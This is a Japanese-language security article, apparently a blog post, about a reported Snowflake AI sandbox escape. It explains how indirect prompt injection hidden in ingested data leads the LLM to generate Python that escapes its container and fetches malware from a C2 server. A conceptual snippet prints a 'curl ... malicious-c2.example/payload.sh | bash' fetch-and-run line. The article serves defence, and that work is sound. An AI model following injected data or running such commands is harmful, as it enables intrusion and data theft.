SnowflakeのAIがサンドボックスを脱出、マルウェアを実行

#はじめに
クラウドデータウェアハウスに生成AIが直接統合されたことで、組織におけるデータの処理、クエリ、そして洞察の導き出し方は劇的に変化した。SnowflakeのようなプラットフォームはAI機能を積極的に拡充しており、ユーザーはデータ境界の外に情報を持ち出すことなく、ペタバイト級の機密情報に対して大規模言語モデル(LLM)を実行したり、AIが生成したコードを実行したりできるようになった。
しかし、自然言語処理と任意のコード実行を組み合わせることは、これまでにない攻撃対象領域(アタックサーフェス)を生み出す。Hacker Newsでも瞬く間に話題となったPromptArmorによる最近の報告では、Snowflake内部のAIサンドボックスから脱出し、基盤となるコンピューティングインフラ上で攻撃者が悪意のあるコードを実行できるという深刻な脆弱性が詳細に解説されている。このインシデントは、AIのロジックとシステムレベルのセキュリティとの間にある境界がいかに脆弱であるかを浮き彫りにしており、最新のデータスタックの保護を担うセキュリティエンジニアに対する警鐘と言える。
#何が起きたのか
脆弱性の開示レポートによれば、このエクスプロイトチェーンは従来のバッファオーバーフローや単純な設定ミスのようなものではない。LLMによるコード生成および実行環境そのものの性質を悪用した、多段階の攻撃であった。
攻撃の起点は**間接的プロンプトインジェクション(indirect prompt injection)**である。攻撃者は、顧客のフィードバックログやJSONペイロードといった一見無害なデータソースに巧妙に細工したテキストを紛れ込ませた。これらのデータはその後、Snowflakeのテーブルに取り込まれる。ユーザーや自動化されたパイプラインがSnowflakeのAI機能(SnowparkやCortexを使用した要約の生成やセンチメント分析など)を呼び出した際、LLMはこの汚染されたデータを処理してしまう。
細工されたプロンプトはAIモデルを操作し、特定のPythonペイロードを生成させる。Snowflakeは通常、このようなAI生成スクリプトを、ネットワークアクセスやシステムコールを防ぐよう厳格に制限されたコンテナ化Pythonサンドボックス内で実行する。しかし、生成されたペイロードは基盤となるサンドボックス実装の脆弱性を標的としていた。ランタイムの名前空間分離の欠陥や、脆弱なseccompプロファイルを突くことで、ペイロードはコンテナからの脱出に成功したのである。
サンドボックスを突破したペイロードは、ホストのコンピュートノード上でリモートコード実行(RCE)を達成した。そこからコマンド&コントロール(C2)サーバーへの外部接続を開始し、二次的なマルウェアペイロードをダウンロードして実行した。
#なぜ重要なのか
データウェアハウス内でのRCE脆弱性の影響は壊滅的である。データプラットフォームは、企業のデータプライバシーにおいて究極の単一障害点(SPOF)となるからだ。
- 広範な影響範囲: Snowflake内の侵害されたコンピュートノードは、PII(個人特定情報)、財務記録、独自の知的財産など、組織の最も機密性の高いデータに対して、直接かつ広帯域のアクセス権を持ってしまう。
- 責任共有モデルの崩壊: クラウドプロバイダーは、マネージドサービスが安全で隔離された実行環境を提供することを強調している。サンドボックスの脱出はこの信頼を打ち砕き、マネージドAI機能がトロイの木馬になり得ることを示している。
- 検知の回避: 初期ベクターが従来のネットワークトラフィックや悪意のあるバイナリではなく、データベース内のテキスト(データ)であったため、従来のエンドポイントでの検知と対応(EDR)やWebアプリケーションファイアウォール(WAF)は、最終的なペイロードが実行されるまで攻撃をまったく検知できなかった。
#技術的な影響
このエクスプロイトは、AIとシステムエンジニアリングが交差する領域において、いくつかの重要な技術的課題を浮き彫りにしている。
#Data-as-Code(コードとしてのデータ)のリスク
LLMに任意のデータを読み込ませ、そのデータに基づいてコードを生成・実行させることを許可する場合、我々は根本的にデータを実行可能なコードとして扱っていることになる。AIが厳密なセマンティック検証なしにインタプリタとして機能する場合、システムはインジェクション攻撃に対して極めて脆弱になる。
# A conceptual example of the sandbox escape payload
import os
import ctypes
# 1. The LLM is tricked into generating code that accesses low-level memory
# or exploits a known vulnerability in a native library allowed in the sandbox.
libc = ctypes.CDLL("libc.so.6")
# 2. Bypassing container constraints (e.g., escaping a chroot or exploiting a kernel flaw)
# 3. Executing the malware dropper
os.system("curl -s http://malicious-c2.example/payload.sh | bash")
#コンテナによる隔離の限界
コンテナは絶対的なセキュリティ境界ではない。namespacesやcgroupsといったカーネルの機能に依存している。カーネル自体にパッチが適用されていない脆弱性があったり、コンテナランタイム(runcやcrunなど)の設定にミスがあったりすると、巧妙なペイロードは脱出可能となる。データサイエンス向けのさまざまなライブラリ(Pandas、PyTorchなど)を含む環境を動的にプロビジョニングする必要があるAIのコンテキストでは、サンドボックスのアタックサーフェスは標準的なマイクロサービスよりもはるかに大きくなる。
#ネットワークのエグレス制御が最後の防衛線
脱出したペイロードが外部のマルウェアをダウンロードできたという事実は、ネットワークのエグレス(送信)制御が機能していなかったことを示している。信頼できないAI生成コードを実行するコンピュートノードは、パブリックインターネットへのアクセスを完全に遮断した、厳格なエアギャップのネットワーク環境で動作させるべきである。
#今後の展望
Snowflakeをはじめとするクラウドデータプロバイダーは、コンテナランタイムを強化し、AIが生成したコードの権限を制限するパッチを即座に展開するだろう。しかし、組織はセキュリティをプラットフォームプロバイダーにのみ依存するべきではない。
エンジニアリングチームは、ゼロトラストAIアーキテクチャを採用する必要がある。
- LLMファイアウォール: AIに入力されるデータと、実行前にAIが生成したコードの構造的な安全性の両方を分析する中間検証レイヤーを実装する。
- 厳格なエグレスポリシー: データウェアハウスのコンピュートノードをホストするVPC(Virtual Private Cloud)において、すべてのアウトバウンドネットワーク通信を明示的に拒否するルールを設定する。プロセスがサンドボックスを脱出したとしても、外部と通信(コールホーム)できないようにする。
- データのサニタイズ: AI処理の対象となるすべての非構造化データを、信頼できないユーザー入力として扱う。言語モデルによって分析される前に、テキストフィールドから実行可能な構文をサニタイズして除去する。
#おわりに
「SnowflakeのAIサンドボックス脱出」は、AIセキュリティにおける分水嶺となる出来事である。これは、プロンプトインジェクションやLLM主導のコード実行の理論的なリスクが、本番環境において極めて現実的であり、信じられないほど危険であることを示している。コアとなるデータインフラにインテリジェントな機能を統合し続けるのであれば、これらの新機能の高度化に見合った、同等に高度な多層防御のセキュリティエンジニアリングが不可欠である。AIは強力なツールかもしれないが、厳格なシステムレベルの封じ込めがなければ、重大な負債となる。